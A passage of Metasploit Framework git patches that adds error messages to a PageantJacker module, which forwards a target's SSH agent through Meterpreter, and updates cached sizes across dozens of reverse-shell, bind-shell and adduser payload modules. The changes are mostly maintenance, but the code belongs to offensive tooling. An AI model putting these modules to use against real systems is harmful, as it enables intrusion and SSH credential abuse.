print_error("PageantJacker: Unsuccessful response received (#{response[:error]})") + print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})") end end end @@ -106,4 +106,28 @@ class Metasploit3 < Msf::Post ::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath end + def translate_error(errnum) + errstring = "#{errnum}: " + case errnum + when 0 + errstring += "No error" + when 1 + errstring += "The Pageant request was not processed." + when 2 + errstring += "Unable to obtain IPC memory address." + when 3 + errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC." + when 4 + errstring += "Unable to allocate memory buffer." + when 5 + errstring += "Unable to build Pageant request string." + when 6 + errstring += "Pageant not found." + when 7 + errstring += "Not forwarded." + else + errstring += "Unknown." + end + return errstring + end end From ee7c418ca8a0459919edf3d01117c8670af28612 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 14 Aug 2015 17:19:07 +0100 Subject: [PATCH 0276/2172] Rubocop and msftidy-ied :-) --- .../post/windows/manage/forward_pageant.rb | 31 +++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 4f7df81e07..70b410f52c 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Post end def run - # Check to ensure that UNIX sockets are supported begin ::UNIXServer @@ -88,9 +87,9 @@ class Metasploit3 < Msf::Post response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) if response[:success] begin - s.send response[:blob], 0 - rescue - break + s.send response[:blob], 0 + rescue + break end vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')") else @@ -106,28 +105,28 @@ class Metasploit3 < Msf::Post ::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath end - def translate_error(errnum) + def translate_error(errnum) errstring = "#{errnum}: " case errnum when 0 - errstring += "No error" + errstring += "No error" when 1 - errstring += "The Pageant request was not processed." + errstring += "The Pageant request was not processed." when 2 - errstring += "Unable to obtain IPC memory address." + errstring += "Unable to obtain IPC memory address." when 3 - errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC." + errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC." when 4 - errstring += "Unable to allocate memory buffer." - when 5 - errstring += "Unable to build Pageant request string." + errstring += "Unable to allocate memory buffer." + when 5 + errstring += "Unable to build Pageant request string." when 6 - errstring += "Pageant not found." + errstring += "Pageant not found." when 7 - errstring += "Not forwarded." + errstring += "Not forwarded." else - errstring += "Unknown." + errstring += "Unknown." end - return errstring + errstring end end From 6b1e911041a3d22cfc5cae843ff0c3b4e53b217f Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 13 Aug 2015 11:10:50 -0500 Subject: [PATCH 0277/2172] Instantiate payload modules so parameter validation occurs Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true. --- lib/msf/util/payload_cached_size.rb | 32 ++++++++++++++++--- modules/payloads/singles/bsd/x64/exec.rb | 2 +- .../singles/bsd/x64/shell_bind_tcp.rb | 2 +- .../singles/bsd/x64/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/bsd/x86/exec.rb | 2 +- modules/payloads/singles/cmd/unix/generic.rb | 2 +- modules/payloads/singles/cmd/unix/reverse.rb | 2 +- .../payloads/singles/cmd/unix/reverse_awk.rb | 2 +- .../payloads/singles/cmd/unix/reverse_lua.rb | 2 +- .../singles/cmd/unix/reverse_netcat_gaping.rb | 2 +- .../singles/cmd/unix/reverse_nodejs.rb | 2 +- .../singles/cmd/unix/reverse_openssl.rb | 2 +- .../payloads/singles/cmd/unix/reverse_perl.rb | 2 +- .../singles/cmd/unix/reverse_perl_ssl.rb | 2 +- .../singles/cmd/unix/reverse_php_ssl.rb | 2 +- .../singles/cmd/unix/reverse_python_ssl.rb | 2 +- .../payloads/singles/cmd/unix/reverse_ruby.rb | 2 +- .../singles/cmd/unix/reverse_ruby_ssl.rb | 2 +- .../cmd/unix/reverse_ssl_double_telnet.rb | 2 +- .../payloads/singles/cmd/unix/reverse_zsh.rb | 2 +- .../payloads/singles/cmd/windows/adduser.rb | 2 +- .../payloads/singles/cmd/windows/generic.rb | 2 +- .../cmd/windows/powershell_bind_tcp.rb | 2 +- .../cmd/windows/powershell_reverse_tcp.rb | 2 +- .../singles/cmd/windows/reverse_lua.rb | 2 +- .../singles/cmd/windows/reverse_perl.rb | 2 +- .../singles/cmd/windows/reverse_powershell.rb | 2 +- .../singles/cmd/windows/reverse_ruby.rb | 2 +- modules/payloads/singles/firefox/exec.rb | 2 +- .../singles/java/jsp_shell_reverse_tcp.rb | 2 +- .../singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/armle/exec.rb | 2 +- modules/payloads/singles/linux/mipsbe/exec.rb | 2 +- .../singles/linux/mipsbe/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/mipsle/exec.rb | 2 +- .../singles/linux/mipsle/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/linux/x64/exec.rb | 4 +-- modules/payloads/singles/linux/x86/exec.rb | 2 +- .../payloads/singles/linux/x86/read_file.rb | 2 +- .../singles/linux/x86/shell_reverse_tcp2.rb | 2 +- .../singles/nodejs/shell_reverse_tcp.rb | 2 +- .../singles/nodejs/shell_reverse_tcp_ssl.rb | 2 +- modules/payloads/singles/osx/x64/exec.rb | 2 +- .../singles/osx/x64/shell_bind_tcp.rb | 2 +- .../singles/osx/x64/shell_find_tag.rb | 2 +- .../singles/osx/x64/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/osx/x86/exec.rb | 2 +- .../singles/php/meterpreter_reverse_tcp.rb | 2 +- .../singles/python/shell_reverse_tcp.rb | 2 +- .../singles/python/shell_reverse_tcp_ssl.rb | 2 +- .../singles/ruby/shell_reverse_tcp.rb | 2 +- .../singles/ruby/shell_reverse_tcp_ssl.rb | 2 +- .../singles/solaris/sparc/shell_find_port.rb | 2 +- .../singles/solaris/x86/shell_bind_tcp.rb | 2 +- .../singles/solaris/x86/shell_find_port.rb | 2 +- .../singles/solaris/x86/shell_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/adduser.rb | 2 +- .../singles/windows/dns_txt_query_exec.rb | 2 +- .../payloads/singles/windows/download_exec.rb | 2 +- modules/payloads/singles/windows/exec.rb | 2 +- .../payloads/singles/windows/loadlibrary.rb | 2 +- .../singles/windows/powershell_bind_tcp.rb | 2 +- .../singles/windows/powershell_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/exec.rb | 2 +- .../singles/windows/x64/loadlibrary.rb | 2 +- .../windows/x64/powershell_bind_tcp.rb | 2 +- .../windows/x64/powershell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_http.rb | 2 +- .../payloads/stagers/java/reverse_https.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- .../payloads/stagers/linux/x86/reverse_tcp.rb | 2 +- .../stagers/linux/x86/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/netware/reverse_tcp.rb | 2 +- modules/payloads/stagers/php/reverse_tcp.rb | 2 +- .../payloads/stagers/php/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/python/reverse_tcp.rb | 2 +- .../stagers/python/reverse_tcp_uuid.rb | 2 +- .../payloads/stagers/windows/reverse_http.rb | 2 +- .../windows/reverse_http_proxy_pstore.rb | 2 +- .../payloads/stagers/windows/reverse_https.rb | 2 +- .../stagers/windows/reverse_https_proxy.rb | 2 +- .../stagers/windows/x64/reverse_http.rb | 2 +- .../stagers/windows/x64/reverse_https.rb | 2 +- spec/modules/payloads_spec.rb | 6 ++-- .../payload_cached_size_is_consistent.rb | 29 ++++++++++++++++- tools/update_payload_cached_sizes.rb | 7 ++-- 86 files changed, 146 insertions(+), 94 deletions(-) diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index f349be43ca..e299739664 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,6 +14,27 @@ module Util class PayloadCachedSize + @opts = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # Insert a new CachedSize value into the text of a payload module # # @param data [String] The source code of a payload module @@ -60,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.new.size + return mod.generate_simple(@opts).size end # Determines whether a payload generates a static sized output @@ -69,8 +90,9 @@ class PayloadCachedSize # @param generation_count [Fixnum] The number of iterations to use to # verify that the size is static. # @return [Fixnum] - def self.is_dynamic?(mod,generation_count=5) - [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + def self.is_dynamic?(mod, generation_count=5) + [*(1..generation_count)].map{|x| + mod.generate_simple(@opts).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -78,9 +100,9 @@ class PayloadCachedSize # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? + return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.new.size + mod.cached_size == mod.generate_simple(@opts).size end end diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index fb391f6b3d..150d96f356 100644 --- a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -17,7 +17,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 23 + CachedSize = 31 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb index ca682e1e08..9528c88233 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb @@ -40,7 +40,7 @@ module Metasploit3 # build the shellcode payload dynamically based on the user-provided CMD def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb index 0c87216d8b..fece7de959 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb @@ -49,7 +49,7 @@ module Metasploit3 raise ArgumentError, "LHOST must be in IPv4 format." end - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N") diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index 552ff37273..eee7aebbd9 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -17,7 +17,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 16 + CachedSize = 24 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index a1e283951a..3b982b201f 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 8 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index 9333695bc1..2ef164ebd7 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 100 + CachedSize = 130 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index 10a4d1c497..05402d4153 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 95 + CachedSize = 110 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index f95478851e..95bbd8dd3c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 209 + CachedSize = 224 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index d20797943d..5040d2cba9 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 20 + CachedSize = 35 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index cf50ea5057..1d3dd09b0f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 1911 + CachedSize = 1971 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 30f5ed8241..d89af6ad67 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 152 + CachedSize = 182 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index b3eb2133dd..0aafd22aba 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 219 + CachedSize = 234 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index ce969a1e4a..8e134bd9de 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 129 + CachedSize = 144 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index cdf9dedfe6..08a8f93942 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 117 + CachedSize = 132 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index fa9db69b3d..b1ab1b26f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 567 + CachedSize = 587 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index f29140422c..502efcbb0c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 118 + CachedSize = 133 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 9a28b0724b..009d0f00aa 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 170 + CachedSize = 185 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index e6b90cccc7..bdf31d2045 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 106 + CachedSize = 136 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index c0c9101163..9127052406 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 95 + CachedSize = 110 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index 0c7c09b23a..3a74d57100 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 258 + CachedSize = 97 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index 0b8a394f30..047dc0bfc4 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 8 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index 0bd2d0d1b5..b33a5a6741 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/bind_tcp' module Metasploit3 - CachedSize = 1510 + CachedSize = 1518 include Msf::Payload::Single include Rex::Powershell::Command diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index 0e6d28cff5..5174312512 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/reverse_tcp_ssl' module Metasploit3 - CachedSize = 1518 + CachedSize = 1526 include Msf::Payload::Single include Rex::Powershell::Command diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index dc52854ffc..fbe52645ad 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 209 + CachedSize = 224 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index b5572c3bc6..ff007384f0 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 133 + CachedSize = 148 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index bf998753f7..510f4b5df5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 1189 + CachedSize = 1204 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 5b0f4d8f2b..fa61454995 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 111 + CachedSize = 126 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 436deb5031..9f3dcbc1d5 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = :dynamic + CachedSize = 1019 include Msf::Payload::Single include Msf::Payload::Firefox diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index f45d8acbf8..e5201b9a61 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 1501 include Msf::Payload::Single include Msf::Payload::JSP diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index ca47412e51..183aadcd71 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 7748 + CachedSize = 7761 include Msf::Payload::Single include Msf::Payload::Java diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 0b3bd3c7ba..88c3f9e5b9 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 22 + CachedSize = 29 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index fabc01f2e8..0d7f26d720 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 48 + CachedSize = 52 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 141d9e37d3..36692d22dc 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 184 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 4fc68ab0aa..a2b1440a21 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 48 + CachedSize = 52 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 2ed64a33c6..6d240561fa 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 184 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 430527ecf7..69630f74bf 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 40 + CachedSize = 47 include Msf::Payload::Single include Msf::Payload::Linux @@ -29,7 +29,7 @@ module Metasploit3 end def generate_stage(opts={}) - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" call = "\xe8" + [cmd.length].pack('V') payload = "\x6a\x3b" + # pushq $0x3b diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index dcb8d3ce25..d81ac237ad 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 36 + CachedSize = 43 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 1a6ce1819b..6d9a0a9b89 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 62 + CachedSize = 63 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb index 5a41ddfae5..d31c4ccc7c 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 103 + CachedSize = 70 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 18fc91ca73..b7cf44698d 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/command_shell' module Metasploit3 - CachedSize = 473 + CachedSize = 488 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index bd0c7e907d..140ccdfa85 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 501 + CachedSize = 516 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 10610e01e1..126b9b4433 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 23 + CachedSize = 31 include Msf::Payload::Single diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb 